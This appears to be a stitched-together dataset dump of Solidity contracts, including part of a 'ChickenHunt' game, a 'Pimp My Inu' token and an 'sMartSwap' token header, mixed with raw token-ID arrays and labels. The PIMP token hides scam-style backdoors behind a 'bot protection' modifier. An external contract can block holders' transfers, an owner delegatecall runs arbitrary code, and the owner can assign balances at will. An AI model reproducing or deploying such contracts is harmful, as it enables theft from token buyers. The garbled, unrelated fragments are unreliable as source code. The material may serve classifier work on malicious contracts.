emit Attack(msg.sender, _target, _chicken);
}
}
}
/**
* @title CHAltar
* @author M.H. Kang
*/
contract CHAltar is CHArena {
/* EVENT */
event NewAltarRecord(uint256 id, uint256 ethereum);
event ChickenToAltar(address indexed user, uint256 id, uint256 chicken);
event EthereumFromAltar(address indexed user, uint256 id, uint256 ethereum);
/* DATA STRUCT */
struct AltarRecord {
uint256 ethereum;
uint256 chicken;
}
struct TradeBook {
uint256 altarRecordId;
uint256 chicken;
}
/* STORAGE */
uint256 public genesis;
mapping (uint256 => AltarRecord) public altarRecords;
mapping (address => TradeBook) public tradeBooks;
/* FUNCTION */
function chickenToAltar(uint256 _chicken) external {
require(_chicken > 0);
_payChicken(msg.sender, _chicken);
uint256 _id = _getCurrentAltarRecordId();
AltarRecord storage _altarRecord = _getAltarRecord(_id);
require(_altarRecord.ethereum * _chicken / _chicken == _altarRecord.ethereum);
TradeBook storage _tradeBook = tradeBooks[msg.sender];
if (_tradeBook.altarRecordId < _id) {
_resolveTradeBook(_tradeBook);
_tradeBook.altarRecordId = _id;
}
_altarRecord.chicken = _altarRecord.chicken.add(_chicken);
_tradeBook.chicken += _chicken;
emit ChickenToAltar(msg.sender, _id, _chicken);
}
function ethereumFromAltar() external {
uint256 _id = _getCurrentAltarRecordId();
TradeBook storage _tradeBook = tradeBooks[msg.sender];
require(_tradeBook.altarRecordId < _id);
_resolveTradeBook(_tradeBook);
}
function tradeBookOf(address _user)
public
view
returns (
uint256 _id,
uint256 _ethereum,
uint256 _totalChicken,
uint256 _chicken,
uint256 _income
)
{
TradeBook memory _tradeBook = tradeBooks[_user];
_id = _tradeBook.altarRecordId;
_chicken = _tradeBook.chicken;
AltarRecord memory _altarRecord = altarRecords[_id];
_totalChicken = _altarRecord.chicken;
_ethereum = _altarRecord.ethereum;
_income = _totalChicken > 0 ? _ethereum.mul(_chicken) / _totalChicken : 0;
}
/* INTERNAL FUNCTION */
function _resolveTradeBook(TradeBook storage _tradeBook) internal {
if (_tradeBook.chicken > 0) {
AltarRecord memory _oldAltarRecord = altarRecords[_tradeBook.altarRecordId];
uint256 _ethereum = _oldAltarRecord.ethereum.mul(_tradeBook.chicken) / _oldAltarRecord.chicken;
delete _tradeBook.chicken;
ethereumBalance[msg.sender] = ethereumBalance[msg.sender].add(_ethereum);
emit EthereumFromAltar(msg.sender, _tradeBook.altarRecordId, _ethereum);
}
}
function _getCurrentAltarRecordId() internal view returns (uint256) {
return (block.timestamp - genesis) / 86400;
}
function _getAltarRecord(uint256 _id) internal returns (AltarRecord storage _altarRecord) {
_altarRecord = altarRecords[_id];
if (_altarRecord.ethereum == 0) {
uint256 _ethereum = altarFund / 10;
_altarRecord.ethereum = _ethereum;
altarFund -= _ethereum;
emit NewAltarRecord(_id, _ethereum);
}
}
}
/**
* @title CHCommittee
* @author M.H. Kang
*/
contract CHCommittee is CHAltar {
/* EVENT */
event NewPet(
uint256 id,
uint256 huntingPower,
uint256 offensePower,
uint256 defense,
uint256 chicken,
uint256 ethereum,
uint256 max
);
event ChangePet(
uint256 id,
uint256 chicken,
uint256 ethereum,
uint256 max
);
event NewItem(
uint256 id,
uint256 huntingMultiplier,
uint256 offenseMultiplier,
uint256 defenseMultiplier,
uint256 ethereum
);
event SetDepot(uint256 ethereum, uint256 max);
event SetConfiguration(
uint256 chickenA,
uint256 ethereumA,
uint256 maxA,
uint256 chickenB,
uint256 ethereumB,
uint256 maxB
);
event SetDistribution(
uint256 dividendRate,
uint256 altarCut,
uint256 storeCut,
uint256 devCut
);
event SetCooldownTime(uint256 cooldownTime);
event SetNameAndSymbol(string name, string symbol);
event SetDeveloper(address developer);
event SetCommittee(address committee);
/* STORAGE */
address public committee;
address public developer;
/* FUNCTION */
function callFor(address _to, uint256 _value, uint256 _gas, bytes _code)
external
payable
onlyCommittee
returns (bool)
{
return _to.call.value(_value).gas(_gas)(_code);
}
function addPet(
uint256 _huntingPower,
uint256 _offensePower,
uint256 _defense,
uint256 _chicken,
uint256 _ethereum,
uint256 _max
)
public
onlyCommittee
{
require(_max > 0);
require(_max == uint256(uint32(_max)));
uint256 _newLength = pets.push(
Pet(_huntingPower, _offensePower, _defense, _chicken, _ethereum, _max)
);
emit NewPet(
_newLength - 1,
_huntingPower,
_offensePower,
_defense,
_chicken,
_ethereum,
_max
);
}
function changePet(
uint256 _id,
uint256 _chicken,
uint256 _ethereum,
uint256 _max
)
public
onlyCommittee
{
require(_id < pets.length);
Pet storage _pet = pets[_id];
require(_max >= _pet.max && _max == uint256(uint32(_max)));
_pet.chicken = _chicken;
_pet.ethereum = _ethereum;
_pet.max = _max;
emit ChangePet(_id, _chicken, _ethereum, _max);
}
function addItem(
uint256 _huntingMultiplier,
uint256 _offenseMultiplier,
uint256 _defenseMultiplier,
uint256 _price
)
public
onlyCommittee
{
uint256 _cap = 1 << 16;
require(
_huntingMultiplier < _cap &&
_offenseMultiplier < _cap &&
_defenseMultiplier < _cap
);
saveChickenOf(committee);
House storage _house = _houseOf(committee);
_house.huntingMultiplier = _house.huntingMultiplier.add(_huntingMultiplier);
_house.offenseMultiplier = _house.offenseMultiplier.add(_offenseMultiplier);
_house.defenseMultiplier = _house.defenseMultiplier.add(_defenseMultiplier);
uint256 _newLength = items.push(
Item(
committee,
_huntingMultiplier,
_offenseMultiplier,
_defenseMultiplier,
_price
)
);
emit NewItem(
_newLength - 1,
_huntingMultiplier,
_offenseMultiplier,
_defenseMultiplier,
_price
);
}
function setDepot(uint256 _price, uint256 _max) public onlyCommittee {
require(_max >= depot.max);
depot.ethereum = _price;
depot.max = _max;
emit SetDepot(_price, _max);
}
function setConfiguration(
uint256 _chickenA,
uint256 _ethereumA,
uint256 _maxA,
uint256 _chickenB,
uint256 _ethereumB,
uint256 _maxB
)
public
onlyCommittee
{
require(_maxA >= typeA.max && (_maxA == uint256(uint32(_maxA))));
require(_maxB >= typeB.max && (_maxB == uint256(uint32(_maxB))));
typeA.chicken = _chickenA;
typeA.ethereum = _ethereumA;
typeA.max = _maxA;
typeB.chicken = _chickenB;
typeB.ethereum = _ethereumB;
typeB.max = _maxB;
emit SetConfiguration(_chickenA, _ethereumA, _maxA, _chickenB, _ethereumB, _maxB);
}
function setDistribution(
uint256 _dividendRate,
uint256 _altarCut,
uint256 _storeCut,
uint256 _devCut
)
public
onlyCommittee
{
require(_storeCut > 0);
require(
_dividendRate.add(_altarCut).add(_storeCut).add(_devCut) == 100
);
dividendRate = _dividendRate;
altarCut = _altarCut;
store.cut = _storeCut;
devCut = _devCut;
emit SetDistribution(_dividendRate, _altarCut, _storeCut, _devCut);
}
function setCooldownTime(uint256 _cooldownTime) public onlyCommittee {
cooldownTime = _cooldownTime;
emit SetCooldownTime(_cooldownTime);
}
function setNameAndSymbol(string _name, string _symbol)
public
onlyCommittee
{
name = _name;
symbol = _symbol;
emit SetNameAndSymbol(_name, _symbol);
}
function setDeveloper(address _developer) public onlyCommittee {
require(_developer != address(0));
withdrawDevFee();
developer = _developer;
emit SetDeveloper(_developer);
}
function setCommittee(address _committee) public onlyCommittee {
require(_committee != address(0));
committee = _committee;
emit SetCommittee(_committee);
}
function withdrawDevFee() public {
ethereumBalance[developer] = ethereumBalance[developer].add(devFee);
delete devFee;
}
/* MODIFIER */
modifier onlyCommittee {
require(msg.sender == committee);
_;
}
}
/**
* @title ChickenHunt
* @author M.H. Kang
*/
contract ChickenHunt is CHCommittee {
/* EVENT */
event Join(address user);
/* CONSTRUCTOR */
constructor() public {
committee = msg.sender;
developer = msg.sender;
}
/* FUNCTION */
function init(address _chickenTokenDelegator) external onlyCommittee {
require(chickenTokenDelegator == address(0));
chickenTokenDelegator = _chickenTokenDelegator;
genesis = 1525791600;
join();
store.owner = msg.sender;
store.cost = 0.1 ether;
setConfiguration(100, 0.00001 ether, 99, 100000, 0.001 ether, 9);
setDistribution(20, 75, 1, 4);
setCooldownTime(600);
setDepot(0.05 ether, 9);
addItem(5, 5, 0, 0.01 ether);
addItem(0, 0, 5, 0.01 ether);
addPet(1000, 0, 0, 100000, 0.01 ether, 9);
addPet(0, 1000, 0, 100000, 0.01 ether, 9);
addPet(0, 0, 1000, 202500, 0.01 ether, 9);
}
function withdraw() external {
uint256 _ethereum = ethereumBalance[msg.sender];
delete ethereumBalance[msg.sender];
msg.sender.transfer(_ethereum);
}
function join() public {
House storage _house = houses[msg.sender];
require(_house.depots == 0);
_house.hunter = Hunter(1, 1, 1, 1);
_house.depots = 1;
_house.huntingPower = 10;
_house.offensePower = 10;
_house.defensePower = 110;
_house.huntingMultiplier = 10;
_house.offenseMultiplier = 10;
_house.defenseMultiplier = 10;
lastSaveTime[msg.sender] = block.timestamp;
emit Join(msg.sender);
}
function hunterOf(address _user)
public
view
returns (
uint256 _strength,
uint256 _dexterity,
uint256 _constitution,
uint256 _resistance
)
{
Hunter memory _hunter = houses[_user].hunter;
return (
_hunter.strength,
_hunter.dexterity,
_hunter.constitution,
_hunter.resistance
);
}
function detailsOf(address _user)
public
view
returns (
uint256[2] _hunting,
uint256[2] _offense,
uint256[2] _defense,
uint256[4] _hunter,
uint256[] _pets,
uint256 _depots,
uint256 _savedChicken,
uint256 _lastSaveTime,
uint256 _cooldown
)
{
House memory _house = houses[_user];
_hunting = [_house.huntingPower, _house.huntingMultiplier];
_offense = [_house.offensePower, _house.offenseMultiplier];
_defense = [_house.defensePower, _house.defenseMultiplier];
_hunter = [
_house.hunter.strength,
_house.hunter.dexterity,
_house.hunter.constitution,
_house.hunter.resistance
];
_pets = _house.pets;
_depots = _house.depots;
_savedChicken = savedChickenOf[_user];
_lastSaveTime = lastSaveTime[_user];
_cooldown = attackCooldown[_user];
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1018,
1012,
2484,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1039,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
1065,
3853,
2675,
1006,
21318,
3372,
17788,
2575,
1037,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
14163,
2140,
1006,
1037,
1010,
1037,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
1065,
3206,
9413,
2278,
11387,
18447,
2121,
12172,
1063,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
1035,
3954,
1010,
4769,
1035,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
10381,
14758,
1008,
1030,
3166,
1049,
1012,
1044,
1012,
16073,
1008,
1013,
3206,
10381,
14758,
2003,
9413,
2278,
11387,
18447,
2121,
12172,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
1013,
1008,
2724,
1008,
1013,
2724,
2417,
21564,
7377,
6072,
1006,
4769,
25331,
5310,
1010,
21318,
3372,
17788,
2575,
6661,
1010,
21318,
3372,
17788,
2575,
11443,
18376,
1007,
1025,
1013,
1008,
5527,
1008,
1013,
5164,
2270,
2171,
1027,
1000,
7975,
17157,
3215,
17406,
1000,
1025,
5164,
2270,
6454,
1027,
1000,
10381,
2015,
1000,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
2324,
1025,
21318,
3372,
17788,
2575,
2270,
21948,
8167,
2229,
1025,
21318,
3372,
17788,
2575,
2270,
11443,
18376,
7347,
8167,
2063,
1025,
21318,
3372,
17788,
2575,
2270,
5377,
18140,
1027,
1015,
1026,
1026,
4185,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
28855,
14820,
26657,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
// Uses Ferrum Launch Protection System
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract PimpInu is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000000;
string public name = "Pimp My Inu";
string public symbol = "PIMP";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wrappedBinance, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
}
| True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1014,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
1065,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
2692,
2475,
1063,
3853,
5587,
3669,
15549,
25469,
11031,
1006,
4769,
19204,
1010,
21318,
3372,
3815,
18715,
10497,
2229,
27559,
1010,
21318,
3372,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
3477,
3085,
5651,
1006,
21318,
3372,
3815,
18715,
2368,
1010,
21318,
3372,
3815,
11031,
1010,
21318,
3372,
6381,
3012,
1007,
1025,
1065,
3206,
28516,
21572,
26557,
3064,
1063,
4769,
4722,
3954,
1025,
4769,
4722,
2644,
10760,
27014,
1025,
4769,
2270,
4895,
11514,
11215,
1025,
9570,
2953,
1006,
4769,
1035,
28516,
21572,
26557,
3508,
1007,
1063,
2644,
10760,
27014,
1027,
1035,
28516,
21572,
26557,
3508,
1025,
1065,
1013,
1013,
3594,
10768,
12171,
2819,
4888,
3860,
2291,
16913,
18095,
4638,
27014,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1063,
1006,
22017,
2140,
2025,
7875,
4140,
1010,
27507,
3638,
3475,
4140,
18384,
1007,
1027,
2644,
10760,
27014,
1012,
2655,
1006,
11113,
2072,
1012,
4372,
16044,
24415,
11246,
22471,
2953,
1006,
1014,
2595,
16068,
22907,
23632,
23632,
1010,
1035,
2013,
1010,
1035,
2000,
1010,
4895,
11514,
11215,
1010,
1035,
3643,
1007,
1007,
1025,
5478,
1006,
2025,
7875,
4140,
1007,
1025,
1035,
1025,
1065,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
21318,
3372,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-29
*/
/**
sMartSwap is a subsidiary of the Shenghai Blockchain CNB Group
Demo website: https://smartswap.surge.sh
Official website https://smartswap.uk (soon)
Launch date at 1:00 PM (UTC+0) on March 31, 2021
Summary sMartSwap
Ticker: YAM
Total Supply: 10,000,000
Decimals: 18
Contract: 0x1ed45fa28da61f860efdd9331df7ec17afa3abb2
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░|
░░░░░░██████╗░██╗░░░░░░░██╗░█████╗░██████╗░░░░░░░░░░░░|
░░░░░██╔════╝░██║░░██╗░░██║██╔══██╗██╔══██╗░░░░░░░░░░░|
░░░░░╚█████╗░░╚██╗████╗██╔╝███████║██████╔╝░░░░░░░░░░░|
░░░░░░╚═══██╗░░████╔═████║░██╔══██║██╔═══╝░░░░░░░░░░░░|
░░░░░██████╔╝░░╚██╔╝░╚██╔╝░██║░░██║██║░░░░░░░░░░░░░░░░|
░░░░░╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝░░╚═╝╚═╝░░░░░░░░░░░░░░░░|
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░|
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░|
______________________________________________________|
*/
pragma solidity 0.5.8;
// File: node_modules\openzeppelin-solidity\contracts\token\ERC20\IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
